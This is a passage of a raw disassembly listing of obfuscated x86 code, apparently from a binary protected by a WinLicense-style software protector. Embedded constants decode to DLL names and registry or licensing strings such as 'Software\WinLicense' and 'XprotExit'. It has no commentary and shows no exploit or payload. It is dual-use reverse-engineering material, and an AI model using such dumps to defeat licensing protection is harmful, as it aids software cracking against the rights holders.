ebx, 4 xchg ebx, [esp+0] mov esp, [esp+0] push ebp mov ebp, esp push edi mov edi, 4 add ebp, edi jmp loc_5AF953 ; --------------------------------------------------------------------------- loc_5B0302: ; CODE XREF: sub_5AA2D1+17B1j pop esp xor word ptr [esp-4+arg_0], ax pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E41 loc_5B030D: ; CODE XREF: sub_5A2E41-43F2j push ecx mov ecx, 0AE6FCF88h jmp loc_5AFB59 ; END OF FUNCTION CHUNK FOR sub_5A2E41 ; --------------------------------------------------------------------------- loc_5B0318: ; CODE XREF: sdfs____:005AA037j mov edi, 72EF166Eh mov ebx, edi pop edi and esi, ebx pop ebx xor esi, 49004Eh sub edi, 3EF902BEh add edi, esi add edi, 3EF902BEh pop esi push 6AF9h jmp loc_5AF0E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_5B0342: ; CODE XREF: sub_5A5EFF-A203j pop edx push 230h mov [esp+4+var_4], ebp push eax mov eax, 5E220476h mov ebp, 477876E2h jmp loc_5A7A13 ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5B035B: ; CODE XREF: sub_59EE3E+50FEj add esp, 2 push eax mov al, 0CDh shr al, 4 push bx mov bl, 0FEh and al, bl pop bx sub al, 16h add al, 12h sub bl, al jmp loc_5A7C28 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; =============== S U B R O U T I N E ======================================= sub_5B0377 proc near ; DATA XREF: sdfs____:00598F24o var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00599862 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0059AEBE SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059C3DF SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059DBB4 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059DF0C SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0059FDD2 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 005A1AD4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A3580 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005A3D98 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005A784F SIZE 0000002D BYTES ; FUNCTION CHUNK AT 005AAA45 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005AC291 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005AF038 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005AF233 SIZE 0000001F BYTES mov ax, [esp+0] sub esp, 4 mov [esp+4+var_4], ebx mov ebx, esp push edx jmp loc_59DF0C sub_5B0377 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59993B loc_5B038C: ; CODE XREF: sub_59993B+17j dec esi or esi, 27787801h dec esi sub esi, 2B3CE7F8h xor ecx, esi jmp loc_5A5436 ; END OF FUNCTION CHUNK FOR sub_59993B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA810 loc_5B03A1: ; CODE XREF: sub_5AA810-9F79j mov esi, 4 sub ebx, 24EB4526h sub ebx, esi jmp loc_59F7B2 ; END OF FUNCTION CHUNK FOR sub_5AA810 ; =============== S U B R O U T I N E ======================================= sub_5B03B3 proc near ; CODE XREF: sub_5AA2D1+109Ej var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0059925B SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0059AAB8 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0059AE9B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059DB52 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059ED28 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A10AB SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A1C76 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 005A365A SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005A3B00 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A7E4B SIZE 0000002C BYTES ; FUNCTION CHUNK AT 005A96D1 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005ABE58 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005AD5B5 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005AD681 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005ADB28 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005AE379 SIZE 00000011 BYTES push ebp mov ebp, 70F91089h sub ebp, 27E0097Ah xor ebx, ebp jmp loc_5A10AB sub_5B03B3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A9E9 loc_5B03C6: ; CODE XREF: sub_59A9E9+2894j jmp loc_5A609D ; END OF FUNCTION CHUNK FOR sub_59A9E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5B03CB: ; CODE XREF: sub_5AA2D1+20C1j mov eax, 4 add edx, eax pop eax sub esp, 4 mov [esp+0Ch+var_C], ecx mov ecx, 4 push 3657h jmp loc_5AFEF3 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_5B03E8 proc near ; CODE XREF: sub_5AA2D1+21BAj var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0059A625 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059DE77 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0059F816 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005A6B0F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A8EF8 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 005AB59A SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005AC0D7 SIZE 00000027 BYTES push ebp push dword ptr [esp+4] pop ebp pop [esp+4+var_4] jmp loc_59F816 sub_5B03E8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB207 loc_5B03F6: ; CODE XREF: sub_5AB207-E3F9j mov ecx, [esp-4+arg_0] sub esp, 4 mov [esp+0], esi push esp pop esi jmp loc_59FB5F ; END OF FUNCTION CHUNK FOR sub_5AB207 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A26C loc_5B0406: ; CODE XREF: sub_59A26C+10143j add eax, 4 add eax, 4 xor eax, [esp+0] xor [esp+0], eax xor eax, [esp+0] mov esp, [esp+0] push ebp push edx jmp loc_5A4E60 ; END OF FUNCTION CHUNK FOR sub_59A26C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5B0421: ; CODE XREF: sub_59C979+1E14j ; sub_59D6B8:loc_5A0ADEj not ecx xchg eax, ecx neg eax jbe loc_59B216 or eax, 7D6C76D7h jmp loc_5A6691 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A28E3 loc_5B0436: ; CODE XREF: sub_5A28E3+9j sub ebp, 4 xchg ebp, [esp+0] mov esp, [esp+0] jmp loc_5A4096 ; END OF FUNCTION CHUNK FOR sub_5A28E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AAE5E loc_5B0447: ; CODE XREF: sub_5AAE5E-433Cj add esp, 4 add esp, 4 shl ecx, 6 jmp loc_5ACD01 ; END OF FUNCTION CHUNK FOR sub_5AAE5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_587F3F loc_5B045B: ; CODE XREF: sub_587F3F+375Aj jmp loc_5B04BB ; END OF FUNCTION CHUNK FOR sub_587F3F ; --------------------------------------------------------------------------- dd 733FC870h, 52455355h, 642E3233h, 41006C6Ch, 50415644h dd 2E323349h, 6C6C64h, 4C44544Eh, 6C642E4Ch, 7D8006Ch dd 60003h, 40001h, 250034h, 123h, 8 dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_587F3F loc_5B04BB: ; CODE XREF: sub_587F3F:loc_5B045Bj jmp loc_5B0DCA ; END OF FUNCTION CHUNK FOR sub_587F3F ; --------------------------------------------------------------------------- push 7EBC81Ch jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EBC8A9h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EBC9B1h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EBCB01h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EBCB5Eh jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EBCC68h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EBCCF0h jmp loc_58B97E ; --------------------------------------------------------------------------- push es cmc mov ebp, edx dec esi stosb rcr byte ptr [ebp-0Dh], 1 pop ebp and edx, [edx-3E9311DAh] push edi retn 3BBAh ; --------------------------------------------------------------------------- dw 84A5h dd 0FA7B0114h, 28C5475Eh, 9C116B8Ch, 0D5581A30h, 0FBBBF6B0h dd 152870FDh, 0EE7881E7h, 5CC4F3B3h, 0AB871D30h, 0F87B717Ah dd 0B303EA68h, 0CF5ECCFCh, 0DAEC0759h, 0B446D45Bh, 0AB7BF928h dd 0DAD7D119h, 37B56B27h, 40F1158Fh, 0E1B94D5Dh, 6CFE6984h dd 0F2261235h, 0EBA60055h, 46B026ABh, 55A93F65h, 68029580h dd 26E3A3DEh, 772D46B0h, 1C742DBBh, 944E08ECh, 0D2631638h dd 8012DBB6h, 4ED86EFCh, 700A7486h, 6AEBABE6h, 0A2DF3EC7h dd 3EC76AE2h, 861C7032h, 1FC727AAh, 0E47D8106h, 6D8E6570h dd 0E87D07DFh, 20550D40h, 0D2C63209h, 25B33E38h, 11C27047h dd 758EADDh, 0C5560000h, 7A9E3ABBh, 2DC36D00h, 1E76A253h dd 92A7119Ch, 54D54BEAh, 0AABD164h, 78F577AEh, 0AC413BDCh dd 0E588EA00h, 2B6B2680h, 0E52870FDh, 0A04AF1D7h, 0F56020D1h dd 7F0DA63Fh, 0D047D2A7h, 0F611AC46h, 0A9EF1B52h, 0EF8BAC39h dd 5F5F5F8Ch, 0DE88F293h, 9E0437B0h, 0CBAE400Ch, 0C1E3A65Ah dd 0E13DD3C1h, 359117E3h, 4C05A22h, 0CFFC89F3h, 0A03C833h dd 4CDA2713h, 20086A80h, 0C51963F4h, 98116389h, 340E7012h dd 0CB8D2232h, 0E3000006h, 2B852848h, 5CF87507h, 832DC0BAh dd 309C1193h, 46D65F1Dh, 185CF1E1h, 6AEA3B95h, 0B6C669CBh dd 0FD7F9D3Fh, 1E930F70h, 2870FC9Eh, 4A664476h, 420ED6A0h dd 7B76CEA8h, 0D92BE891h, 158430DBh, 3Fh, 0D2A04AADh, 5CC4DFDFh dd 0DD733130h, 439FF250h, 25305CC5h, 95C86517h, 67B0D9Ah dd 37B25797h, 0E5F7C865h, 0A4E7BA78h, 976F0D20h, 6B39250Dh dd 9AE275D1h, 0E696B91Bh, 648A91Eh, 78F90000h, 0DC70C4DCh dd 0AE3C469Eh, 0BEC45642h, 5CC4C3C3h, 0C1574D30h, 0AAFB637Dh dd 13CE2Ah, 0FD8C0597h, 0B537B5ADh, 40EA46EFh, 970AA436h dd 2873AE17h, 315D1F31h, 673A8773h, 0D8C963F4h, 2FC7E6C9h dd 9721BBE9h, 87E69A1Ah, 0C0287A20h, 6F804CE6h, 5EF1250Dh dd 4F17971Eh, 0BE1AD656h, 3BC0D199h, 0D5269037h, 6FB7456Fh dd 9835C755h, 0A86D08B8h, 528E6A7Ah, 0FAAD466h, 3C31A1CDh dd 0C36A5D91h, 0FB000005h, 238D2050h, 54C06D0Fh, 9B35B8C2h dd 0C864098Bh, 4EDE5725h, 106489E9h, 62E2339Dh, 0AECE61D3h dd 0F5879507h, 168B1778h, 2870FB96h, 4A1E4C7Eh, 420ED6A0h dd 7B76CEA8h, 0A2E9E891h, 89305CC2h, 1E86EA73h, 77A0C7Ah dd 305C8187h, 0F3851B89h, 8A7C855Ah, 0FB1D201Fh, 9127BD81h dd 0DA956A59h, 0E3D58431h, 0EDFFFFFEh, 0ED6A04Ah, 0CA28B8BBh dd 0C32E5387h, 0ACCE6CE8h, 2ABC5250h, 0B4F8E077h, 0A14C5637h dd 4889945h, 71E6712Ch, 0DD87AAE7h, 158F2FCBh, 0E6D7EA83h dd 0D6D0C4E4h, 1CB8C61Ah, 0CCC480FAh, 4ECF64Eh, 8A9C6A45h dd 49F01C20h, 3053888h, 183B694h, 780C0000h, 0F64238DCh dd 0BDB82EB7h, 2234902Ah, 0D9C88458h, 7B6DC55Bh, 0B59FD306h dd 0CCC5E337h, 28739ECCh, 0CF17958Ch, 0A4FDD9B5h, 18FC9220h dd 0B9824669h, 0E572FDE1h, 0C8C8B953h, 484E9981h, 7E089E5Ah dd 9C3842D6h, 56370379h, 55F25AF3h, 70494CD9h, 0CAD948CEh dd 63F1733h, 7EBA82A8h, 79CC1092h, 0C1BB5FFEh, 47D1677Dh dd 933324Ah, 9620824Eh, 0A3522CCEh, 8BAFDB71h, 32FCBCF5h dd 8E143EC7h, 82A824F8h, 25CC62F0h, 0C27036B1h, 735A0DC1h dd 4B000004h, 0F35DD0A0h, 24901D5Fh, 6BC56812h, 9834B93Bh dd 0FE6E0775h, 0C0B45939h, 1292832Dh, 5E1E3163h, 0A5D765D7h dd 463B6708h, 2870FA46h, 0B3CEBCCEh, 0ECA537A0h, 37B0FD6Ah dd 50EA7C26h, 70FE6121h, 39F1B328h, 681027AFh, 0B4C46BC5h dd 0ACCE6C68h, 0E63DF05h, 7067FF34h, 416h, 0F8750714h dd 33C2B85Ch, 600D6F81h, 0D75EDC34h, 9A4D065h, 173A9693h dd 356CC865h, 7D923EB7h, 34C67203h, 0D8C2AB4Ah, 70F9E9A9h dd 0B3112B28h, 0ED6A04Ah, 0F1C9A842h, 171C844Ah, 0EE11DB09h dd 96241616h, 0A5DC7600h, 305BFCE5h, 61BD752Fh, 1AF9A074h dd 305BFA93h, 0FA880879h, 2C88305Bh, 4DE3710Bh, 31AB219Eh dd 0FD304184h, 4A61FFFFh, 9844D6A0h, 0A93B0B89h, 0DD582D41h dd 72C1B04Ah, 3A37B5AAh, 23037D92h, 0C9A549A1h, 32C35123h dd 44ED7890h, 48A95128h, 5E5E8F6Bh, 0BE48DF5Ah, 0B50C10C3h dd 18FCA637h, 0FDBDF48Eh, 1728730Ah, 0EAA4A58Dh, 77D07A97h dd 4FD973E4h, 2F0B7587h, 0B470FB5Eh, 0B5891B87h, 4C9922Bh dd 42A2DA7Fh, 0B325B540h, 0CB663BF7h, 7A692958h, 0F9AB7872h dd 0C8A0D16Bh, 0E87FCB3Eh, 92A420BAh, 0CE8E14E8h, 0E98502Ah dd 2BCAB446h, 0EE276389h, 9151D86Eh, 218C3622h, 30CBA2Dh dd 9220000h, 0C66AC66Fh, 799F39B4h, 0D2C26E07h, 0DE73DD50h dd 0A099179Eh, 0D65F1D30h, 4A92B7Ah, 78F587A8h, 0B13C3EDCh dd 0DFDFD2CCh, 312870F8h, 0A0B3A51Bh, 70889F30h, 36960EBCh dd 0FC865E20h, 9DA5DC6Eh, 0D37B02Dh, 3990A70h, 18D06AC6h dd 309C2E74h, 0B93B6B1Fh, 9232722Fh, 0C0E22870h, 0BB238332h dd 881AEA6Ah, 99E374A0h, 0C9B3470Fh, 1AB3CD61h, 62957D80h dd 1CB8703Eh, 23F57CFEh, 933409BCh, 2846C43h, 91BA0000h dd 4EE24EE7h, 117812Ch, 4A5AF67Fh, 668B25C8h, 28019F16h dd 5ED7A548h, 8C21A3F2h, 0C06D0F20h, 39B4C654h, 57574A54h dd 0B92870F9h, 0A0B3DD83h, 710BA537h, 5CC58000h, 26129030h dd 0B0FE1F27h, 99337137h, 0D05D1F3Dh, 17698E56h, 7AF106DBh dd 6B8E56E0h, 7BB7CD11h, 70FEFC8Ah, 0B2921028h, 0A7E79A34h dd 902870FEh, 0F470759Fh, 0ECB6DEDDh, 2E67275Ah, 0FBA92871h dd 6769B3Fh, 1227A13Eh, 0F356266Dh, 43D155C7h, 5EB71FA9h dd 20EBABDEh, 7F252871h, 0E27B2EB3h, 4839D365h, 28712148h dd 27453231h, 7B1B6319h, 0AAE7C129h, 28714BE2h, 0A6E27732h dd 5F154DEBh, 0B35975C9h, 0FA627DC1h, 2F6F2250h, 0E12870D8h dd 26802DC3h, 8D08788Fh, 0D622C810h, 0C32948E2h, 847B5673h dd 84047D0Fh, 8C287167h, 22BC8016h, 0AE690BAh, 82A20EDBh dd 710329DBh, 57FA62FCh, 6FCBD925h, 4CE1A14Bh, 0B985071Eh dd 3B49952Bh, 0B54F59A5h, 7166BCFCh, 0E24E5428h, 0CD6F2336h dd 286819B3h, 0E8287167h, 3D824BAh, 82A85CFDh, 3ED37DF0h dd 0D311AC3Eh, 8CBF4687h, 0DA2B47B3h, 0DA83A50Dh, 8F0F821Ch dd 81287176h, 4EE3D723h, 0BF27872Eh, 5948E29Ah, 28717659h dd 9501E9BBh, 9E28F480h, 0EC63E907h, 945C7852h, 916D0F20h dd 75BF5E7Eh, 8D1994E0h, 72FEBEF3h, 8C162871h, 98DA70A4h dd 0F8B0460Eh, 0CAD82456h, 1EDAE834h, 0F618C4C2h, 17DDAC84h dd 0E6C0DD0Ch, 6F8D47E6h, 5E06600Dh, 0CECEC3B9h, 466FFE0Bh dd 6876CE5Ch, 0FE0C7939h, 7B099B6Fh, 0B1F11BBFh, 0F448DE9Eh dd 0F95553EAh, 724E4E43h, 0DCC66FFEh, 0D4A14149h, 0FF3D0628h dd 63CF5D31h, 0ADAA2B7h, 0C004A54Fh, 27BE482Ah, 0DD343330h dd 0D192CE5Fh, 0EB4548A0h, 1AEF3741h, 83FE881Fh, 77579F50h dd 0FEB13C66h, 0B852E473h, 9F33732Eh, 0C7DD6815h, 8C9CB736h dd 5C94D09Ah, 6973C7ADh, 7DFC56Fh, 5ED7A14Bh, 0C61E58F2h dd 83F91CB8h, 38C921A3h, 0B4755BA5h, 0DF09B044h, 9AE2753Dh dd 859C384Ah, 50FC7107h, 942EB8BAh, 555A9D1Dh, 0C52D77EBh dd 70F52DA9h, 0EEE8A1E7h, 8822B05Ah, 960383FEh, 970DEB55h dd 228B3506h, 42AE0364h, 36D7F92Eh, 62858F2h, 841AA874h dd 0D3AD4FE9h dd 0C5C73h, 54E60000h, 0ED3C3BD2h, 0BB626929h, 0A14A4D7Fh dd 0A9430FD7h, 0B45B77CFh, 455C78C4h, 0BE537FC7h, 0C76A66BEh dd 356D69B5h, 0CD636FB7h, 0D36753B3h, 565E55A9h, 0C681E689h dd 4, 4EE81h, 34870000h, 1C895C24h, 548A6824h, 1C890000h dd 2B996824h, 34890000h, 0C74C6824h, 685B07EBh, 3930h dd 83242489h, 5E042404h, 8468F53h, 5724348Bh, 0C781E789h dd 4, 8704C783h, 8B5C243Ch, 8950241Ch, 405E0h, 4050000h dd 87000000h, 0E95C2404h, 0FFFDABC2h, 0BD9B4DDDh, 0C1833724h dd 0BE24BE0Dh db 0FDh, 0C2h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_587F3F loc_5B0DCA: ; CODE XREF: sub_587F3F:loc_5B04BBj mov eax, 7EBCF99h add eax, ebp jmp eax ; END OF FUNCTION CHUNK FOR sub_587F3F ; --------------------------------------------------------------------------- db 0F8h dd 3D58A5D4h, 617ED51Ch, 0EA4F32B1h, 0AF64AC56h, 0EB141D18h dd 362B200Dh, 0A660652Ch, 70025CBDh, 65000A1Bh, 2940E4ECh dd 5553AC61h, 426FFA41h, 8C2A6D5Ah, 9A4AD633h, 8B1ED2C7h dd 0D91F704Ch, 0F5E4223h, 6F6D562Bh, 0EE260B69h, 2B6B63C8h dd 4844E368h, 0A369F092h, 0AD304AB2h, 0B67C62EFh, 770C1796h dd 0DA23CEECh, 9B001BE4h, 0E865201Ch, 11h, 0C6B49F57h dd 0F50AA1E2h, 88CEDF62h, 97041AE4h, 0B25BFCBCh, 0BEC3812Ch dd 80000064h, 0F63379C4h, 6810Fh, 0D8810000h, 571B17D6h dd 0E81E34FFh, 5, 0D0CFCE9Ch, 0D881664Bh, 5F5AF47Eh, 5E960h dd 0ABA0000h, 66F8E0B0h, 8161F08Bh, 140407F7h, 0F781FC05h dd 7461E00Eh, 0BE9h, 41B95000h, 2CBE45DAh, 729D8C1Bh, 19BAC781h dd 840F2CF2h, 11h, 6E8h, 82CC9900h, 66BE3F04h, 0D14CCA81h dd 0EE8575Ah, 34000000h, 0ACC55E69h, 0E7D30C1Bh, 0FDCA9BE4h dd 58E38A76h, 0F33048Fh, 0A88h, 0D4BF6000h, 0F2D7F94h dd 0F61C6BFh, 0EE83CABFh, 7E902h, 59C70000h, 8FA362D1h dd 0FC4E4EC6h, 9C48FE81h, 850FFFFFh, 0Eh, 0E9C9BF0Fh, 2Eh dd 46064661h, 0F603BADh, 681h, 860F00h, 80000000h, 0E961DCF5h dd 0FFFFFF34h, 0A2718F64h, 925E6C2Bh, 0B0665FE8h, 0E26A0BCCh dd 8EE9805Dh, 60000000h, 349DBD83h, 0F0007E9h, 584h, 79E900h dd 6A0000h, 0F303E80h, 885h, 46006A00h, 35E9h, 333E8000h dd 8850Fh, 106A0000h, 24E946h, 3E800000h, 8850F34h, 6A000000h dd 13E94630h, 80000000h, 850F353Eh, 8, 0E946406Ah, 2, 3E80006Ah dd 12850F20h, 80000000h, 0F00017Eh, 885h, 8C48300h, 16E9h dd 0F1858D00h, 5007E90Fh, 50240489h, 6A243489h, 0C595FF00h dd 6107E918h, 5985C6C3h, 4D07E926h, 3162FB68h, 2404816Bh dd 390413ADh, 16B5B5FFh, 858D07E9h, 7E93ABCh, 8589D0FFh dd 7E918C5h, 0AAE9h, 666F5300h, 72617774h, 69575C65h, 63694C6Eh dd 65736E65h, 65684300h, 4E496B63h, 72705800h, 7845746Fh dd 43007469h, 6B636568h, 54554Fh, 4C6E6957h, 6E656369h dd 65566573h, 6F697372h, 6957006Eh, 63694C6Eh, 65736E65h dd 76697244h, 65567265h, 6F697372h, 6957006Eh, 63694C6Eh dd 65736E65h, 74736E49h, 65636E61h, 69784500h, 6B4F74h dd 636F7250h, 50004E49h, 4F636F72h, 45005455h, 49746978h dd 7845004Eh, 554F7469h, 70540054h, 4E49h, 2 dup(0) dd 8000000h, 0BB77DEB9h, 0E977DFD5h, 596h, 0D2F18589h dd 858D07EBh, 7EBD2EDh, 57858D50h, 5007EBD2h, 168h, 0FD95FF80h dd 6A07EBD2h, 0F1B5FF19h, 6A07EBD2h, 8D006A01h, 0EBD28685h dd 0B5FF5007h, 7EBD2EDh, 2AE195FFh, 0B5FF07E9h, 7EBD2EDh dd 0D2F995FFh, 0B5FF07EBh, 7EBD2EDh, 2CBD95FFh, 89C307E9h dd 0EBD2F185h, 0ED858D07h, 5007EBD2h, 0D257858Dh, 685007EBh dd 80000001h, 0D2FD95FFh, 46A07EBh, 0D2F1858Dh, 6A5007EBh dd 8D006A04h, 0EBD2B085h, 0B5FF5007h, 7EBD2EDh, 2AE195FFh dd 0B5FF07E9h, 7EBD2EDh, 0D2F995FFh, 0B5FF07EBh, 7EBD2EDh dd 2CBD95FFh, 89C307E9h, 0EBD2F185h, 0ED858D07h, 5007EBD2h dd 0D257858Dh, 685007EBh, 80000001h, 0D2FD95FFh, 46A07EBh dd 0D2F1858Dh, 6A5007EBh, 8D006A04h, 0EBD29885h, 0B5FF5007h dd 7EBD2EDh, 2AE195FFh, 0B5FF07E9h, 7EBD2EDh, 0D2F995FFh dd 0B5FF07EBh, 7EBD2EDh, 2CBD95FFh, 89C307E9h, 0EBD2F185h dd 0ED858D07h, 5007EBD2h, 0D257858Dh, 685007EBh, 80000001h dd 0D2FD95FFh, 46A07EBh, 0D2F1858Dh, 6A5007EBh, 8D006A04h dd 0EBD2C385h, 0B5FF5007h, 7EBD2EDh, 2AE195FFh, 0B5FF07E9h dd 7EBD2EDh, 0D2F995FFh, 0B5FF07EBh, 7EBD2EDh, 2CBD95FFh dd 89C307E9h, 0EBD2F185h, 0ED858D07h, 5007EBD2h, 0D257858Dh dd 685007EBh, 80000001h, 0D2FD95FFh, 46A07EBh, 0D2F1858Dh dd 6A5007EBh, 8D006A04h, 0EBD27385h, 0B5FF5007h, 7EBD2EDh dd 2AE195FFh, 0B5FF07E9h, 7EBD2EDh, 0D2F995FFh, 0B5FF07EBh dd 7EBD2EDh, 2CBD95FFh, 83C307E9h, 0E91A75BDh, 840F0007h dd 0Bh, 1A759D8Bh, 0C38307E9h, 0C303894Ch, 1A75BD83h, 0F0007E9h dd 0B84h, 759D8B00h, 8307E91Ah, 38950C3h, 75BD83C3h, 7E91Ah dd 0B840Fh, 9D8B0000h, 7E91A75h, 8954C383h, 0BD83C303h dd 7E91A75h, 0B840F00h, 8B000000h, 0E91A759Dh, 58C38307h dd 83C30389h, 0E91A75BDh, 840F0007h, 0Bh, 1A759D8Bh, 0C38307E9h dd 0C303895Ch, 858960C3h, 7EBD2F1h, 0D2ED858Dh, 8D5007EBh dd 0EBD25785h, 1685007h, 0FF800000h, 0EBD2FD95h, 8D046A07h dd 0EBD2F185h, 46A5007h, 858D006Ah, 7EBD2E8h, 0EDB5FF50h dd 0FF07EBD2h, 0E92AE195h, 0A5BD8307h, 7E918h, 0C840Fh dd 0B5FF0000h, 7EBD2EDh, 0D2F995FFh, 0B5FF07EBh, 7EBD2EDh dd 2CBD95FFh, 0C36107E9h, 0F1858960h, 8D07EBD2h, 0EBD2ED85h dd 858D5007h, 7EBD257h, 16850h, 95FF8000h, 7EBD2FDh, 858D046Ah dd 7EBD2F1h, 6A046A50h, 0CA858D00h, 5007EBD2h, 0D2EDB5FFh dd 95FF07EBh, 7E92AE1h, 18A5BD83h, 0F0007E9h, 0C84h, 0EDB5FF00h dd 0FF07EBD2h, 0EBD2F995h, 0EDB5FF07h, 0FF07EBD2h, 0E92CBD95h dd 60C36107h, 0D2F18589h, 858D07EBh, 7EBD2EDh, 57858D50h dd 5007EBD2h, 168h, 0FD95FF80h, 6A07EBD2h, 0F1858D04h dd 5007EBD2h, 6A046Ah, 0D2D1858Dh, 0FF5007EBh, 0EBD2EDB5h dd 0E195FF07h, 8307E92Ah, 0E918A5BDh, 840F0007h, 0Ch, 0D2EDB5FFh dd 95FF07EBh, 7EBD2F9h, 0D2EDB5FFh, 95FF07EBh, 7E92CBDh dd 8960C361h, 0EBD2F185h, 0ED858D07h, 5007EBD2h, 0D257858Dh dd 685007EBh, 80000001h, 0D2FD95FFh, 46A07EBh, 0D2F1858Dh dd 6A5007EBh, 8D006A04h, 0EBD2D985h, 0B5FF5007h, 7EBD2EDh dd 2AE195FFh, 0BD8307E9h, 7E918A5h, 0C840F00h, 0FF000000h dd 0EBD2EDB5h, 0F995FF07h, 0FF07EBD2h, 0EBD2EDB5h, 0BD95FF07h dd 6107E92Ch, 858960C3h, 7EBD2F1h, 0D2ED858Dh, 8D5007EBh dd 0EBD25785h, 1685007h, 0FF800000h, 0EBD2FD95h, 8D046A07h dd 0EBD2F185h, 46A5007h, 858D006Ah, 7EBD2E0h, 0EDB5FF50h dd 0FF07EBD2h, 0E92AE195h, 0A5BD8307h, 7E918h, 0C840Fh dd 0B5FF0000h, 7EBD2EDh, 0D2F995FFh, 0B5FF07EBh, 7EBD2EDh dd 2CBD95FFh, 0C36107E9h, 0F185C760h, 107EBD2h, 8D000000h dd 0EBD2ED85h, 858D5007h, 7EBD257h, 26850h, 95FF8000h dd 7EBD2FDh, 840FC00Bh, 0Fh, 0D2F185C7h, 7EBh, 4DE90000h dd 6A000000h, 0F1858D04h, 5007EBD2h, 6A046Ah, 0D26B858Dh dd 0FF5007EBh, 0EBD2EDB5h, 0E195FF07h, 0B07E92Ah, 0F840FC0h dd 0C7000000h, 0EBD2F185h, 7, 0AE900h, 85C70000h, 7EBD2F1h dd 1, 0D2EDB5FFh, 95FF07EBh, 7E92CBDh, 0F1858B61h, 0C307EBD2h dd 0F1858960h, 8D07EBD2h, 0EBD2ED85h, 858D5007h, 7EBD257h dd 16850h, 95FF8000h, 7EBD2FDh, 858D046Ah, 7EBD2F1h, 6A046A50h dd 6B858D00h, 5007EBD2h, 0D2EDB5FFh, 95FF07EBh, 7E92AE1h dd 18A5BD83h, 0F0007E9h, 0C84h, 0EDB5FF00h, 0FF07EBD2h dd 0EBD2F995h, 0EDB5FF07h, 0FF07EBD2h, 0E92CBD95h, 60C36107h dd 0D2F18589h, 858D07EBh, 7EBD2EDh, 57858D50h, 5007EBD2h dd 168h, 0FD95FF80h, 6A07EBD2h, 0F1858D04h, 5007EBD2h dd 6A046Ah, 0D27D858Dh, 0FF5007EBh, 0EBD2EDB5h, 0E195FF07h dd 8307E92Ah, 0E918A5BDh, 840F0007h, 0Ch, 0D2EDB5FFh, 95FF07EBh dd 7EBD2F9h, 0D2EDB5FFh, 95FF07EBh, 7E92CBDh, 85C6C361h dd 7E92659h, 7B076852h, 0B5FFADE4h, 7E9347Dh, 0A8D95FFh dd 858907E9h, 7EBD2FDh, 265985C6h, 685207E9h, 902E00E5h dd 347DB5FFh, 95FF07E9h, 7E90A8Dh, 0D2F98589h, 85C607EBh dd 7E92659h, 12356852h, 0B5FFB9BFh, 7E9347Dh, 0A8D95FFh dd 858907E9h, 7E92AE1h, 265985C6h, 685207E9h, 98781034h dd 